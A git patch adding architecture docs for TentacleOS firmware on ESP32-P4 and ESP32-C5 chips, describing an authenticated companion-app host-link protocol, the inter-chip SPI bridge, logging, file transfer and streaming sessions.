device + holds the PSK — mutual auth). +3. Both derive per-direction session keys and reset counters: + - `K_a2d = HKDF(PSK, client_nonce || server_nonce, "a2d")` + - `K_d2a = HKDF(PSK, client_nonce || server_nonce, "d2a")` +4. All later frames carry `FLAGS.authenticated = 1`, the sender's direction key, + and a monotonic counter. + +Per-direction keys prevent reflection; fresh nonces prevent cross-session replay. + +### 6.2 PSK provisioning — QR/code on the P4 display +First-time pairing: the user authorizes a new app; the **P4 shows a QR/code on +its display**, the app reads it (or the user types it), and both derive the PSK. +Works identically for USB and BLE. App-side, the PSK is stored in the OS keystore +(Keychain / Credential Manager / libsecret) — never plaintext, never logged. + +### 6.3 Alignment +OWASP 2021: A02 (HMAC-SHA256/HKDF, BLE LE Secure Connections), A07 (session keys, +re-auth on reconnect), A08 (per-frame integrity), A01 (only the paired app +commands the device). + +--- + +## 7. Logs & console (two separate consoles) + +Both chips emit their own `ESP_LOGx`. Each tees its output via +`esp_log_set_vprintf` (without losing the local dev console). The P4 forwards +both streams to the app as `LOG` frames tagged with a **`source`** byte so the +app can render **two consoles** (P4 / C5): + +``` +LOG payload = [source u8: 0=P4, 1=C5][level u8: E=0,W=1,I=2,D=3,V=4][utf-8 text] +``` + +- **P4 logs:** teed locally on the P4. +- **C5 logs:** teed on the C5 → pushed to the P4 over SPI via `SPI_ID_SYSTEM_LOG` + (same mechanism as the existing `SPI_ID_MESH_LOG_PUSH`) → relayed out as `LOG` + with `source=C5`. +- ANSI color codes are stripped; the app colorizes/filters by `level` and `source`. +- Each log channel has a small **ring + drop-oldest** buffer; only the boot burst + is heavy (runtime logging is low-rate), so drops are rare and counted. + +**Console command execution:** the app may send a raw console line; the P4 runs it +through `esp_console` and the output flows back through the `LOG` channel. + +### Toggles (device settings) +| Setting | Default | Effect when off | +|---------|---------|-----------------| +| **Console exec** (app→device) | on, BLE + USB | app cannot run raw console lines (structured `CMD`s still work) | +| **Log over BLE** (global) | on | **no** logs (P4 or C5) are sent over BLE; USB always carries logs | + +Structured commands (scan, capture, file ops, …) and log *reading* over USB are +always available; the toggles only gate raw console exec and BLE log delivery. + +--- + +## 8. Command / response flow + +``` +app → CMD (category, op, args) authenticated, counter++ +P4 → RESP (status, data) authenticated, counter++ +``` +- Reliable + ordered (USB CDC / BLE ACL) → no app-level retransmit; the counter + detects gaps/replays. +- The P4 dispatches by `category`/`op` exactly as it dispatches its own commands + today (local handler or relay to C5 over SPI). +- List results pulled via the generic data pipe (`SPI_ID_SYSTEM_DATA`). +- **Full command set on both transports** (no USB-only restriction), gated only + by the console-exec toggle above. + +--- + +## 9. Streaming & sessions (push-based) + +Long-running ops (sniffers, monitors) reuse the firmware session model; the +device **pushes** `STREAM` frames instead of the host polling: + +``` +app → CMD SPI_ID_WIFI_APP_SNIFFER { params } +P4 → RESP status OK + spi_session_resp_t { session_id } +P4 → STREAM batched records { session_id, seq, payload } … (pushed) +app → CMD SPI_ID_SESSION_HEARTBEAT { session_id, last_acked_seq } (every 2 s) +app → CMD SPI_ID_SESSION_STOP { session_id } +``` +- **Liveness is two-level:** the app heartbeats the P4 over the host link; the P4 + keeps heartbeating the C5 over SPI (existing). If the app disappears, the P4 + tears down and stops heartbeating the C5 → the C5 watchdog kills the session. +- **Backpressure / anti-zombie** unchanged (window 64; 5 s watchdog → + `SPI_ID_SESSION_LOST`). Matters more on BLE/USB (links drop/unplug). +- The app builds a real pcap/pcapng from the raw 802.11 bytes in the stream + records → full Wireshark-level dissection in real time. + +--- + +## 10. File transfer (download + edit) + +The app has a file viewer/editor, so it can **download and write** files over +both transports. The P4 exposes **two separate filesystems, both physically on +the P4** — the app browses/edits each independently: + +- **Internal flash** — the `assets` / `littlefs` partitions (config, defaults, + captures saved to flash, …). +- **micro-SD** — via SDMMC (`/sdcard`), the larger removable storage. + +The **path root selects the filesystem** (e.g. `/assets/…`, `/littlefs/…`, +`/sdcard/…`); ops are sandboxed to the mounted roots (no escaping them). Large +files (pcap, MBs) are transferred in **chunks with offsets**; big reads reuse the +batched stream transport. + +Proposed `SYSTEM`-category ops (final ids assigned in `spi_protocol.h`): +- `FILE_LIST { path }` → directory entries (name, size, is_dir) via the data pipe. +- `FILE_STAT { path }` → size, flags. +- `FILE_READ { path, offset, len }` → chunk (streamed for large files). +- `FILE_WRITE { path, offset, data }` → write/edit a chunk (create/truncate flags). +- `FILE_DELETE { path }`, `FILE_MKDIR { path }`. + +Writes are bounded/validated by the P4 (path sandbox to the storage mount; no +escaping it). All file ops require an authenticated session. + +--- + +## 11. Device state (pushed) + +The device pushes a status frame on connect, on change, and periodically: +``` +DeviceStatus = { battery_pct u8, charging u8, app_connected u8, + fw_version_p4[..], fw_version_c5[..] } +``` +Carried as a `SYSTEM` op (`SPI_ID_SYSTEM_STATUS` extended, or a dedicated +`SPI_ID_SYSTEM_DEVICE_STATE`). Battery comes from the BQ25896 gauge; versions +reuse the existing version contract. + +--- + +## 12. Versioning & compatibility + +- Host-link `VER` is exchanged in the handshake; mismatch → app refuses to + proceed with a clear message. +- The app also reads `SPI_ID_SYSTEM_VERSION` on connect and checks the firmware + version. **Min firmware version:** the first build that ships host-link support + (TBD once it lands; bump from the current `1.3.0`). + +--- + +## 13. Firmware components to build + +- **P4 host-link core:** frame envelope + HMAC/HKDF + counter + handshake + PSK + store (NVS) + dispatch (reuses SPI dispatch) + push. +- **P4 CDC-ACM** interface (TinyUSB composite) + auto-detect VID/PID. +- **C5 BLE companion GATT** service + `SPI_ID_HOST_RX`/`HOST_TX` relay (mesh + bridge pattern). +- **Log tee** on both chips + `SPI_ID_SYSTEM_LOG` forward (C5→P4) + `LOG` frames + with `source`. +- **Console-exec** command + the two settings toggles. +- **File ops** (`FILE_*`) over both P4 filesystems (internal flash + micro-SD), + path-rooted and sandboxed, chunked. +- **Device-state** push (battery + versions + connection). + +--- + +## 14. Open hardware identifiers (TBD — don't block the protocol) +- USB VID/PID. +- BLE service/characteristic UUIDs, advertised name, target MTU, bonding policy. +- Final `SPI_ID_*` op numbers for the new commands (`HOST_RX/TX`, `SYSTEM_LOG`, + `FILE_*`, `DEVICE_STATE`). +- Minimum firmware version once host-link ships. + +--- + +## 15. Implementation plan (phased build order) + +Built in small, independently testable phases. **All 8 phases are implemented and +build-validated on both firmwares.** They have **not** been exercised on hardware +yet (the dev board's native USB pads are unsoldered and BLE is untested), so each +phase still lists its concrete on-device check for when that's possible. + +Status legend: ✅ implemented (build-validated). + +1. ✅ **P4 host-link core + CDC-ACM (no crypto).** Frame envelope encode/decode + + dispatch reusing the existing SPI dispatcher, over USB CDC. + (`host_link.c`, `host_link_cdc.c`.) *Test:* a serial tool sends + `PING`/`VERSION`, gets `RESP`. — note: now requires a handshake first (phase 3). +2. ✅ **Log tee on P4 + `LOG` frames** (`source=P4`). vprintf hook → ANSI strip → + drop-oldest ring → worker. (`host_link_log.c`.) *Test:* app sees P4 logs. +3. ✅ **Security envelope** — HMAC-SHA256/HKDF (mbedTLS), per-direction keys, + monotonic counter, `HELLO`/`HELLO_ACK` handshake, PSK in NVS, QR/hex on the P4 + display. (`host_link_sec.c`; UI `companion_pairing`; `cmd_hostlink`.) *Test:* + unauthenticated frames rejected; paired app works; replay rejected. +4. ✅ **BLE companion (C5 GATT) + relay** `SPI_ID_HOST_RX`/`HOST_TX` (mesh-bridge + pattern, NimBLE NUS-style, "just works" SC). C5 `host_link_gatt.c` + + `host_transport.c`; P4 `host_link_ble.c`; single-session arbitration in the + core. *Test:* same command set over BLE; single-app enforcement. +5. ✅ **C5 log forward** `SPI_ID_SYSTEM_LOG` (C5→P4 stream) → `LOG` frames with + `source=C5`. C5 `c5_log.c`; P4 `host_link_c5log.c`. *Test:* both consoles + populate. +6. ✅ **File ops** `FILE_*` over both filesystems (flash + micro-SD), chunked, + path-sandboxed; BLE notify split by MTU. (`host_link_files.c`.) *Test:* + download a pcap, edit + write back a config file. +7. ✅ **Device state** (battery/charging/versions) + the two settings toggles + (console-exec, log-over-BLE) + raw console exec (captures stdout → console + LOG frames). (`host_link_state.c`.) *Test:* state read; toggles persist. +8. ✅ **Streaming push + heartbeat proxy** (reuses the existing `spi_session`). + Sniffer records → `STREAM` frames; app heartbeat refreshes liveness; app + silence / link loss tears the session down. (`host_link_stream.c`.) *Test:* + live sniffer pcap streams to the app; pulling the link triggers + `SPI_ID_SESSION_LOST`. + +Each new command (`HOST_RX/TX`, `SYSTEM_LOG`, `FILE_*`, `DEVICE_STATE`, +settings, console-exec) lives in `spi_protocol.h` so it stays part of the +single-source-of-truth HAL. Component-level docs: `firmware_p4/components/ +Service/host_link/README.md` and `firmware_c5/components/Service/host_link/README.md`. + +## 16. What the app implements + +- A transport-agnostic backend with two implementations (**USB serial** / **BLE**) + behind one interface. +- Host-frame encode/decode + HMAC envelope + counter + handshake. +- Reuse of `spi_id_t` IDs derived from `spi_protocol.h` (single source of truth). +- Mapping device→app messages onto app state (commands, streams, the two log + consoles, file viewer/editor, device-status indicators). + +The backend is the trust boundary; the UI layer only ever sees validated state. diff --git a/docs/SPI_BRIDGE.md b/docs/SPI_BRIDGE.md new file mode 100644 index 000000000..0df44b8f4 --- /dev/null +++ b/docs/SPI_BRIDGE.md @@ -0,0 +1,270 @@ +# TentacleOS — P4 ↔ C5 SPI Bridge + +How the two microcontrollers in TentacleOS talk to each other. + +This is the **architecture overview** that ties both sides together. For +side-specific detail and migration recipes see the component READMEs: +- `firmware_p4/components/Service/spi_bridge/README.md` (master, protocol spec, + command reference, session lifecycle, stream transport) +- `firmware_c5/components/Service/spi_bridge/README.md` (slave) + +--- + +## 1. Roles + +TentacleOS runs on two chips with a clean split of responsibilities: + +| Chip | Role | Owns | +|------|------|------| +| **ESP32-P4** | Main OS / "brain" | UI (LVGL display), apps, storage (micro-SD via SDMMC), USB, the SPI **master** | +| **ESP32-C5** | Radio co-processor | WiFi, Bluetooth (NimBLE), LoRa, the SPI **slave** | + +The P4 has no native WiFi/BT radio, so every radio action (scan, connect, +sniff, attack, mesh, …) is a **command sent to the C5** over SPI. The C5 +executes it on the radio and returns results / streams data back. Anything that +needs the micro-SD is routed from the C5 to the P4 over this same bridge — the +C5 stores only on its internal flash (LittleFS). + +``` + ┌────────────────────┐ SPI (10 MHz, mode 0, DMA) ┌────────────────────┐ + │ ESP32-P4 │ ── SCLK / MOSI / MISO / CS ──►│ ESP32-C5 │ + │ (master / OS) │ ◄──────── IRQ ───────────────│ (slave / radio) │ + │ │ ── UART1 + RESET/BOOT ───────►│ (firmware flash) │ + └────────────────────┘ └────────────────────┘ +``` + +--- + +## 2. Physical layer + +Two independent links connect the chips: + +### 2.1 SPI bridge (runtime data path) + +Standard **4-wire SPI, 1-bit, full-duplex, mode 0, 10 MHz, DMA-driven** +(`SPI_DMA_CH_AUTO` on both sides). The P4 is master, the C5 is slave. A separate +GPIO line (**IRQ**) lets the slave signal "response ready" to the master. + +| Signal | P4 GPIO | C5 GPIO | +|--------|---------|---------| +| SCLK | 20 | 6 | +| MOSI | 21 | 7 | +| MISO | 22 | 2 | +| CS | 23 | 10 | +| IRQ | 2 | 3 | + +- **DMA** is mandatory: frames are 264 B (and stream frames 2 KB), far above the + SPI hardware FIFO (~64 B). DMA also frees the CPU during transfers. +- Because of DMA, **every transfer length must be a multiple of 4 bytes** — see + the frame sizing notes below. + +### 2.2 UART + control (firmware flashing only) + +The P4 flashes the C5's firmware over a separate UART link using the official +`esp-serial-flasher` component. Not used at runtime. + +| Signal | P4 GPIO | C5 | +|--------|---------|----| +| UART TX (P4→C5) | 46 | GPIO12 (U0RXD) | +| UART RX (C5→P4) | 47 | GPIO11 (U0TXD) | +| RESET | 48 | EN | +| BOOT | 33 | IO0 (GPIO0 strapping) | + +--- + +## 3. Frame format + +Every packet on the SPI bus starts with a fixed **5-byte header**: + +```c +typedef struct { + uint8_t sync; // 0xAA + uint8_t type; // 0x01 CMD, 0x02 RESP, 0x03 STREAM + uint8_t category; // spi_cat_t — subsystem + uint8_t op; // operation within the category + uint8_t length; // payload bytes that follow (0–255) +} spi_header_t; +``` + +`SPI_FRAME_SIZE` = header + 256 B payload, **rounded up to a multiple of 4** for +DMA = **264 B**. The command/response path always transfers `SPI_FRAME_SIZE`. + +### Command identifier = `category` + `op` + +A command is identified by two header bytes that pack into a single 16-bit value +in code via `SPI_CMD(cat, op)`. The C5 routes to a dispatcher by `category` +alone; `op` selects the operation within it. + +| Category | Value | Routed to | +|----------|-------|-----------| +| `SPI_CAT_SYSTEM` | `0x00` | inline system handlers | +| `SPI_CAT_WIFI` | `0x01` | `wifi_dispatcher` | +| `SPI_CAT_BT` | `0x02` | `bt_dispatcher` | +| `SPI_CAT_LORA` | `0x03` | (lora) | +| `SPI_CAT_MESH` | `0x04` | meshtastic (split BLE/WiFi transport) | +| `SPI_CAT_MCORE` | `0x05` | meshcore → `bt_dispatcher` | +| `SPI_CAT_SESSION` | `0xFF` | inline session handlers | + +In C, the `SPI_ID_*` constants stay single named values (e.g. +`SPI_ID_WIFI_SCAN = SPI_CMD(SPI_CAT_WIFI, 0x10) = 0x0110`), so call sites and +dispatcher `case` labels are unchanged — only the wire carries the two bytes. +The full command table lives in the P4 component README. + +### Response status + +A `RESP` frame's **payload byte 0 is the status** (`spi_status_t`): `OK (0)`, +`BUSY (1)`, `ERROR (2)`, `UNSUPPORTED (3)`, `INVALID_ARG (4)`; the rest of the +payload is the response data. + +--- + +## 4. Command / response flow + +The bridge is a master-driven request/response protocol with an IRQ handshake: + +``` +P4 (master) C5 (slave) + │ clock CMD frame (264 B) ───────────► receive into armed RX buffer + │ route by category → dispatcher + │ build RESP, arm TX buffer + │ ◄────────── IRQ rising edge ────────── pulse IRQ (~10 µs) + │ clock again to read RESP (264 B) ───► transmit RESP + │ parse status + payload +``` + +- The P4 catches the IRQ via a **GPIO rising-edge interrupt** (ISR → semaphore), + so the C5 only needs a short (~10 µs) pulse — no held level, no millisecond + delay. +- The C5's `bridge_task` keeps a **receive transaction always armed in hardware** + (it queues the next RX before the current response finishes), so a command is + never missed in the gap between transfers, even under task preemption. +- A per-command **mutex** on the P4 serialises commands; long radio ops get + longer timeouts (`SPI_TIMEOUT_WIFI_MS = 20 s`, default `1 s`). + +--- + +## 5. Generic data pipe (pulling lists) + +Operations that produce lists (scan results, etc.) don't push everything at +once. The C5 points the bridge at its result array via +`spi_bridge_provide_results(ptr, count, item_size)`, and the P4 pulls items with +`SPI_ID_SYSTEM_DATA` using special indices: + +| Index | Meaning | +|-------|---------| +| `0xFFFF` | item count | +| `0..N-1` | one item | +| `0xEEEE` | live `spi_sniffer_stats_t` | +| `0xDDDD` | deauth counter | + +This is also how the **Packet Monitor** works: it's a counter-only sniffer mode +that just polls the stats — it does not stream frames. + +--- + +## 6. Streaming (live data, e.g. pcap) + +Long-running ops that emit a continuous feed (WiFi/BLE sniffers, mesh phone +bridge) use a stream path. The C5 buffers records in a 64-deep ring; the P4 +drains them by polling `SPI_ID_SYSTEM_STREAM`. + +To keep throughput high, the transport **batches many records into one large +transfer** (`SPI_STREAM_FRAME_SIZE = 2048 B`) instead of one record per +round-trip: + +``` +STREAM frame payload (after the 5-byte header, type = STREAM): + [u16 batch_len][record][record]... record = [u16 op][u8 len][len bytes] +``` + +- `batch_len = 0` ⇒ no data pending ⇒ the P4 backs off and polls later. +- The P4 unpacks and dispatches **each record to its op's callback**, exactly as + if it had arrived in its own frame — so session/`seq`/backpressure semantics + stay **per record**. +- The command/response path is untouched (still `SPI_FRAME_SIZE`). + +**Throughput:** the original one-record-per-frame + 1 ms IRQ pulse capped streams +at ~120 KB/s. Shortening the IRQ pulse (~3×) plus batching lifts the ceiling to +roughly ~1 MB/s at 10 MHz — enough for dense-AP / targeted capture. A saturated +data channel can still overrun it (physics on a 1-bit link), in which case +records are **dropped and counted** (capture is never blocked) — the right tool +there is a capture filter. + +--- + +## 7. Session lifecycle (anti-zombie + backpressure) + +Streaming/long-running ops are wrapped in a **session** so the C5 never keeps +running into the void if the P4 crashes or stops listening: + +1. **Session ID** — the C5 returns a random 32-bit `session_id` on START; both + sides track it, and stream records carry it so stale data is discarded. +2. **Heartbeat** — the P4 sends `SPI_ID_SESSION_HEARTBEAT` every **2 s** with its + `last_acked_seq`. A C5 watchdog (1 s tick) kills any session whose last + heartbeat is older than **5 s** and emits `SPI_ID_SESSION_LOST`. +3. **Backpressure window** — each record carries `{session_id, seq}`. The C5 + refuses to emit when `seq - last_acked_seq >= SPI_SESSION_WINDOW (64)`, + preventing overflow when the radio produces faster than the bridge drains. + +| Direction | When | Packet | +|-----------|------|--------| +| P4→C5 | START | `op_id` + params | +| C5→P4 | START reply | status + `spi_session_resp_t { session_id }` | +| P4→C5 | every 2 s | `SPI_ID_SESSION_HEARTBEAT` + `{ session_id, last_acked_seq }` | +| C5→P4 | data | batched STREAM frame (§6); each record = `op` + meta + payload | +| P4→C5 | STOP | `SPI_ID_SESSION_STOP` + `{ session_id }` | +| C5→P4 | watchdog kill | `SPI_ID_SESSION_LOST` + `{ session_id, cmd }` | + +--- + +## 8. Firmware versioning & flashing + +The C5 firmware is **embedded in the P4 firmware** at build time (bootloader + +partition table + app). On boot, `bridge_manager` queries the C5's version +(`SPI_ID_SYSTEM_VERSION`) and compares it against the P4's expected version +(`FIRMWARE_VERSION`, currently **1.3.0**). On mismatch (or no response) the P4 +re-flashes the C5 over the UART link using `esp-serial-flasher`, writing the +full image: + +| Image | C5 flash offset | +|-------|-----------------| +| bootloader | `0x2000` | +| partition table | `0x8000` | +| app | `0x10000` | + +Any breaking change to the wire format must bump **both** versions +(`FIRMWARE_VERSION` on the P4 and `SPI_FW_VERSION_STRING` on the C5) to the same +new value, forcing a re-sync. + +--- + +## 9. Key source files + +**P4 (master)** +- `components/Service/spi_bridge/` — `spi_bridge.c` (send command, stream task), + `spi_session.c` (session/heartbeat), `spi_protocol.h` (shared contract) +- `components/Drivers/spi_bridge_phy/` — SPI master PHY + IRQ edge ISR +- `components/Service/bridge_manager/` — version check + C5 recovery +- `components/Service/c5_flasher/` — `esp-serial-flasher` wrapper + +**C5 (slave)** +- `components/Service/spi_bridge/` — `spi_bridge.c` (`bridge_task` routing + + always-armed RX + stream batching), `wifi_dispatcher.c`, `bt_dispatcher.c`, + `session_manager.c`, `spi_protocol.h` +- `components/Drivers/spi_slave/` — SPI slave driver (queued transactions) + +`spi_protocol.h` is kept in sync between the two firmwares (the P4 copy is a +superset — it has port-scan commands the C5 doesn't implement). + +--- + +## 10. Design constraints & limits + +- **1-bit SPI** — dual/quad isn't wired, so the raw ceiling is the clock + (~1.25 MB/s at 10 MHz). Higher clocks (20/40 MHz) are possible but limited by + the SPI slave timing and trace integrity. +- **264 B / 2 KB frames must stay 4-byte aligned** for DMA. +- The two `spi_protocol.h` copies are maintained by hand — keep them in sync. +- Command `op` values currently reuse the legacy single-byte ids (e.g. WiFi ops + start at `0x10`); renumbering to `0x01`-based per category is a safe cosmetic + follow-up. diff --git a/docs/host-link.md b/docs/host-link.md new file mode 100644 index 000000000..959641760 --- /dev/null +++ b/docs/host-link.md @@ -0,0 +1,119 @@ +# Host Link — unified overview + +End-to-end companion-app link, spanning **both firmwares**. This document is the +single cross-firmware view: how the pieces fit, who owns what, and where to look. +It deliberately does **not** repeat the per-file reference tables — those live in +the component READMEs, and the byte-level wire format lives in the protocol spec. + +- Wire spec: [`HOST_LINK_PROTOCOL.md`](./HOST_LINK_PROTOCOL.md) +- SPI bridge (P4↔C5 transport this rides on): [`SPI_BRIDGE.md`](./SPI_BRIDGE.md) +- P4 component reference: [`firmware_p4/components/Service/host_link/README.md`](../firmware_p4/components/Service/host_link/README.md) +- C5 component reference: [`firmware_c5/components/Service/host_link/README.md`](../firmware_c5/components/Service/host_link/README.md) + +## The model + +``` + USB CDC-ACM (P4-native) + ┌──────────────┐ ◄───────────────────────────────► ┌─────────────┐ + │ Companion app│ │ ESP32-P4 │ + │ (PC/phone) │ ◄───────────────────────────────► │ (the brain)│ + └──────────────┘ BLE ┌─────────────┐ relay └─────────────┘ + ◄───────────►│ ESP32-C5 │◄────────────────┘ SPI bridge + │ (BLE radio) │ + └─────────────┘ +``` + +- **The P4 is the single brain.** It terminates the security envelope, dispatches + every command (locally or relayed to the C5 over SPI), and owns SD/flash and + device state. Identical behavior on both transports — one place for crypto. +- **USB** terminates on the P4 (CDC-ACM in the TinyUSB composite, alongside the + BadUSB HID). +- **BLE** terminates on the **C5** (it owns the radio). The C5 is a transparent + byte relay — it never parses companion payloads; all auth is on the P4. +- **One companion session at a time.** The first transport to attach owns the + session; a second attach is rejected until it releases. + +## Frame envelope (summary) + +``` +[MAGIC 'H''B'][VER][FLAGS][COUNTER u32][LEN u16][BODY][MAC 16 if FLAGS.auth] +BODY = [type][category][op][payload] +``` + +`category`/`op` reuse the `spi_protocol.h` ids (`SPI_CMD(cat, op)`) — one HAL +shared by app, P4 and C5. Types: `CMD`, `RESP`, `STREAM`, `LOG`, `HELLO`, +`HELLO_ACK`. Full field semantics: see the wire spec. + +## Security (P4 only) + +- PSK (32 B) in NVS, auto-generated on first boot. Provisioned out-of-band: QR + + hex on the P4 pairing screen (Settings → PAIRING) or the `hostlink psk` console + command. +- `HELLO`/`HELLO_ACK` handshake → per-direction HKDF keys (`a2d`/`d2a`) + counter + reset. Per-frame HMAC-SHA256 (truncated 16 B, mbedTLS) verified before any body + parse; monotonic counter rejects replays. Only `HELLO` is accepted unauthenticated. +- BLE bonding is "just works" (LE Secure Connections, no MITM) on top of the PSK + envelope — the PSK is the real trust boundary. + +## Module map + +**P4 (`firmware_p4/components/Service/host_link/`)** — core + both transports + +all local handlers: framing/dispatch/session arbitration, USB CDC, BLE relay, +security, the P4 log tee, the C5 log relay, file ops, device state/settings/ +console-exec, and the streaming/heartbeat proxy. + +**C5 (`firmware_c5/components/Service/host_link/`)** — BLE GATT server (NimBLE +NUS-style), the chunking transport to/from the P4, and the C5 log tee. + +New SPI ids backing all this live in `spi_protocol.h` under `SPI_CAT_HOST = 0x06` +(BLE relay) plus P4-local `SPI_CAT_SYSTEM` ops (`SYSTEM_LOG`, `FILE_*`, +`DEVICE_STATE`, settings, console-exec). Per-file detail: the component READMEs. + +## Command routing (P4) + +After auth, each `CMD` is routed by id: file ops → local; device-state/settings/ +console-exec → local; `SPI_CAT_SESSION` (heartbeat/stop) → stream proxy (local, +**not** relayed — the P4 keeps heartbeating the C5 itself); session-start ops +(sniffer) → `spi_session`; everything else → relayed to the C5. + +## Logs & two consoles + +Both chips tee their `ESP_LOGx` (without losing the local dev console). P4 logs +are emitted directly; C5 logs stream to the P4 (`SPI_ID_SYSTEM_LOG`) and are +re-emitted. Each `LOG` frame carries a `source` byte (P4 / C5) so the app renders +two separate consoles. Console-exec output is delivered as console LOG frames. + +## Toggles (NVS, default on) + +| Setting | Off behavior | +|---------|--------------| +| `console_exec` | app can't run raw console lines (structured `CMD`s still work) | +| `log_over_ble` | no background logs over BLE; **USB always carries logs**; console-exec output always delivered | + +## Boot order + +**P4 (`kernel.c`):** `host_link_state_init` → `host_link_stream_init` → +`host_link_init` → `host_link_cdc_init` → `host_link_log_init` → +`host_link_c5log_init` → `host_link_ble_init` (BLE advertising starts on demand: +`hostlink ble on`). + +**C5 (`kernel.c`):** `c5_log_init` right after `spi_bridge_slave_init`. The GATT +server is started on demand by the P4, not at boot. + +## Phase status + +All 8 phases (core+CDC, P4 log tee, security, BLE relay, C5 log forward, file ops, +device state+toggles+console-exec, streaming+heartbeat proxy) are **implemented +and build-validated on both firmwares**. See §15 of the wire spec for the +per-phase breakdown. + +## Caveats (not yet hardware-tested) + +- The transport layer is unexercised: the dev board's native USB pads are + unsoldered and BLE hasn't been run. Everything is build-validated only. +- **NimBLE is single-owner**: host-link BLE, MeshCore and Meshtastic are mutually + exclusive. +- **One `spi_session`**: the on-device UI sniffer and the companion sniffer are + mutually exclusive (a start preempts the other). +- Device→app frames larger than the BLE MTU are split across notifications and + reassembled by the app via `LEN`. diff --git a/firmware_c5/components/Service/host_link/README.md b/firmware_c5/components/Service/host_link/README.md index 2ddc27cba..dff121ceb 100644 --- a/firmware_c5/components/Service/host_link/README.md +++ b/firmware_c5/components/Service/host_link/README.md @@ -5,8 +5,12 @@ radio). The C5 is a **transparent byte relay**: it ferries opaque host-link fram to/from the P4 over the SPI bridge and forwards its own logs up. **All crypto/auth lives on the P4** — the C5 never parses companion payloads. -Mirrors the proven Meshtastic/MeshCore phone-bridge pattern. See the root -`HOST_LINK_PROTOCOL.md` for the wire spec. +Mirrors the proven Meshtastic/MeshCore phone-bridge pattern. + +- Unified cross-firmware overview: [`docs/host-link.md`](../../../../docs/host-link.md) +- Wire format: [`docs/HOST_LINK_PROTOCOL.md`](../../../../docs/HOST_LINK_PROTOCOL.md) + +This README is the **C5 component reference** (BLE relay + log tee). ## Files diff --git a/firmware_p4/components/Service/host_link/README.md b/firmware_p4/components/Service/host_link/README.md index d86ee2f7a..aea18ef6d 100644 --- a/firmware_p4/components/Service/host_link/README.md +++ b/firmware_p4/components/Service/host_link/README.md @@ -7,21 +7,12 @@ behavior is exposed over **two transports** — USB CDC-ACM (P4-native) and BLE (terminated on the C5, relayed here). Only **one** companion session is active at a time. -See the root `HOST_LINK_PROTOCOL.md` for the full wire spec. +- Unified cross-firmware overview: [`docs/host-link.md`](../../../../docs/host-link.md) +- Wire format (envelope, types, ids): [`docs/HOST_LINK_PROTOCOL.md`](../../../../docs/HOST_LINK_PROTOCOL.md) -## Frame envelope - -``` -[MAGIC 'H''B'][VER u8][FLAGS u8][COUNTER u32][LEN u16][BODY (LEN bytes)][MAC 16 if FLAGS.auth] -BODY = [type u8][category u8][op u8][payload...] -``` - -- Little-endian. `MAC` = HMAC-SHA256(`K_dir`, bytes `[2 .. 10+LEN)`) truncated to 16 B. -- `COUNTER` is per-direction monotonic (replay detection). -- BODY types: `CMD 0x01`, `RESP 0x02`, `STREAM 0x03`, `LOG 0x04`, - `HELLO 0x10`, `HELLO_ACK 0x11`. -- `category`/`op` reuse `spi_protocol.h` ids via `SPI_CMD(cat, op)` — single - source of truth shared with the C5 and the app. +This README is the **P4 component reference** — the file map and P4-side wiring. +The frame envelope, BODY types and the `SPI_CMD(cat, op)` id scheme are defined in +the wire spec; the end-to-end (app↔P4↔C5) picture is in the unified overview. ## Files From 496b8e22fd591efd8bf9ebb5758f19b164bf085c Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Sat, 6 Jun 2026 23:38:35 -0300 Subject: [PATCH 055/572] docs: mirror all component READMEs into docs/ hub with back-pointers --- docs/README.md | 40 + docs/SubGhz/README.md | 279 +++++ docs/bad_usb/README.md | 134 +++ docs/bluetooth/README.md | 145 +++ docs/buttons_gpio/c5.md | 64 ++ docs/buttons_gpio/p4.md | 64 ++ docs/c5_flasher/README.md | 21 + docs/cc1101/README.md | 187 ++++ docs/console/README.md | 103 ++ docs/dns_server/README.md | 53 + docs/esp_now/README.md | 102 ++ docs/espnow_chat/README.md | 98 ++ docs/host_link/c5.md | 53 + docs/host_link/p4.md | 79 ++ docs/http_server/README.md | 116 +++ docs/lvgl_port/README.md | 83 ++ docs/ota/README.md | 86 ++ docs/sd_card/c5.md | 962 ++++++++++++++++++ docs/sd_card/p4.md | 949 +++++++++++++++++ docs/spi/c5.md | 53 + docs/spi/p4.md | 54 + docs/spi_bridge/c5.md | 71 ++ docs/spi_bridge/p4.md | 500 +++++++++ docs/st7789/README.md | 43 + docs/storage_api/c5.md | 449 ++++++++ docs/storage_api/p4.md | 483 +++++++++ docs/storage_assets/c5.md | 621 +++++++++++ docs/storage_assets/p4.md | 621 +++++++++++ docs/storage_vfs/c5.md | 547 ++++++++++ docs/storage_vfs/p4.md | 547 ++++++++++ docs/tusb_desc/README.md | 74 ++ docs/ui/README.md | 190 ++++ docs/wifi/c5.md | 184 ++++ docs/wifi/p4.md | 184 ++++ .../Applications/espnow_chat/README.md | 2 + .../components/Drivers/buttons_gpio/README.md | 2 + firmware_c5/components/Drivers/spi/README.md | 2 + .../components/Service/bluetooth/README.md | 2 + .../components/Service/dns_server/README.md | 2 + .../components/Service/esp_now/README.md | 2 + .../components/Service/host_link/README.md | 2 + .../components/Service/http_server/README.md | 2 + .../components/Service/sd_card/README.md | 2 + .../components/Service/spi_bridge/README.md | 2 + .../components/Service/storage_api/README.md | 2 + .../Service/storage_assets/README.md | 2 + .../components/Service/storage_vfs/README.md | 2 + firmware_c5/components/Service/wifi/README.md | 2 + .../components/Applications/SubGhz/README.md | 2 + .../components/Applications/bad_usb/README.md | 2 + .../components/Applications/ui/README.md | 2 + .../components/Drivers/buttons_gpio/README.md | 2 + .../components/Drivers/cc1101/README.md | 2 + firmware_p4/components/Drivers/spi/README.md | 2 + .../components/Drivers/st7789/README.md | 2 + .../components/Drivers/tusb_desc/README.md | 2 + .../components/Service/c5_flasher/README.md | 2 + .../components/Service/console/README.md | 2 + .../components/Service/host_link/README.md | 2 + .../components/Service/lvgl_port/README.md | 2 + firmware_p4/components/Service/ota/README.md | 2 + .../components/Service/sd_card/README.md | 2 + .../components/Service/spi_bridge/README.md | 2 + .../components/Service/storage_api/README.md | 2 + .../Service/storage_assets/README.md | 2 + .../components/Service/storage_vfs/README.md | 2 + firmware_p4/components/Service/wifi/README.md | 2 + 67 files changed, 8305 insertions(+) create mode 100644 docs/README.md create mode 100644 docs/SubGhz/README.md create mode 100644 docs/bad_usb/README.md create mode 100644 docs/bluetooth/README.md create mode 100644 docs/buttons_gpio/c5.md create mode 100644 docs/buttons_gpio/p4.md create mode 100644 docs/c5_flasher/README.md create mode 100644 docs/cc1101/README.md create mode 100644 docs/console/README.md create mode 100644 docs/dns_server/README.md create mode 100644 docs/esp_now/README.md create mode 100644 